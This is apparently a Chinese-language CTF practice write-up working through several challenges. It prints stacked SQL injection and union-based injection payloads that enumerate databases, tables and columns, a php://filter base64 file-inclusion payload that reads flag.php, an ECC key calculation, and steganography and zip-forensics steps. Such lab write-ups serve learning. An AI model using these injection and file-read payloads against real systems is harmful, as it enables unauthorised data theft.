CTF刷题05
[SUCTF 2019]EasySQL
访问题目地址

随便输入个123456,点击提交

输入*,什么也不返回

再输入' or '1'='1

尝试了很久没有头绪,看了一下大师傅们的wp,发现原来考查的是堆叠注入和命令执行,又get了新知识。
提交1;show databases;#

提交1;show tables; #,可以看到有一个Flag表

提交 1;select * from Flag;# ,出现Nonono

可以知道存在过滤,过滤了from,使用burpsuite进行fuzz,这些都被过滤了

运用命令执行中的||,就是前边的条件如果是错的,就执行后边的命令。可以使得select *,1||flag from Flag = select *,1 from Flag,这样就可以在from被过滤的情况下执行1;select * from Flag
提交*,1,得到flag

[ACTF2020 新生赛]Include
进入靶机地址,点击Tips

出现这个页面,给出了flag.php

尝试伪协议
传入 php://input,发现过滤了input。

再试试php://filter伪协议进行文件包含,加上read=convert.base64-encode来对文件内容进行编码
Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码后的flag.php文件源码:

Base64解密

[BugKu] 成绩单
访问题目地址

输入1,2,3分别能查到1,2,3号学生的成绩

输入1’无反应,输入1’#返回龙龙的成绩单,是字符型注入

判断列数,当提交 id=1' order by 5#时,没有正常回显,所以列数为4。

尝试联合查询,测试字段显示的顺序以及那些会回显
id=-1' union select 1,2,3,4#

爆当前库名,发现数据库名为skctf_flag
Payload: id=-1' union select 1,version(),user(),database()#

爆当前库里的表名,看到一个fl4g的表
Payload: id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆当的表里的字段名,字段码为skctf_flag
Payload: id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

爆值,得到flag
Payload: id=-1' union select 1,2,3,skctf_flag from fl4g#

https://www.cnblogs.com/0yst3r-2046/p/10756453.html
https://blog.csdn.net/xuchen16/article/details/82785371
easy_ECC
题目描述:转眼两个人又走到了下一个谜题的地方,这又是一种经典的密码学加密方式 而你刚好没有这个的工具,你对小鱼说“小鱼我知道数学真的很重要了,有了工具只是方便我们使用 懂了原理才能做到,小鱼你教我一下这个缇努怎么做吧!”在小鱼的一步步带领下,你终于明白了ECC 的基本原理,成功的解开了这个题目,两个人相视一笑,快步走向了下一个题目所在的位置。flag格式为cyberpeace{x+y的值}
下载附件,附件中内容为
已知椭圆曲线加密Ep(a,b)参数为
p = 15424654874903
a = 16546484
b = 4548674875
G(6478678675,5636379357093)
私钥为
k = 546768
求公钥K(x,y)
下载椭圆曲线密码学工具ECCTOOL来解密
填入p、a、b、Gx、Gy和k的值,然后点击CALC R

可得到
x=13957031351290
y=5520194834100
x+y即为flag

FLAG
下载附件,进行异或,在使用Extract Preview进行分析,当red、green、blue通道全为0时,出现了PK文件头,点击Save Bin保存为压缩包

解压,发现文件损坏解压不了,用7z提取文件

看了wp才知道是elf文件,用IDA打开即可获得flag,又get到了

面具下的flag
下载附件,解压得到jpg图片
使用foremost分离,执行foremost mianju.jpg,得到一个压缩包

打开文件,发现需要密码

用winhex打开,发现是伪加密,09改为00,然后保存

解压,得到flag.vmdk文件,使用7z提取文件,得到两个文件

key_part_one文件中的内容为

解码

打开key_part_two文件,说flag不在这

百度一下,发现
windows下解压不会有<where_is_flag_part_two.txt:flag_part_two_is_here.txt这个文件
只有linux用命令解压才会有
复制到kali中解压
7z x flag.vmdk -o./

找到了key_part_two中的隐藏文件

解码

拼接起来就是flag

浙公网安备 33010602011771号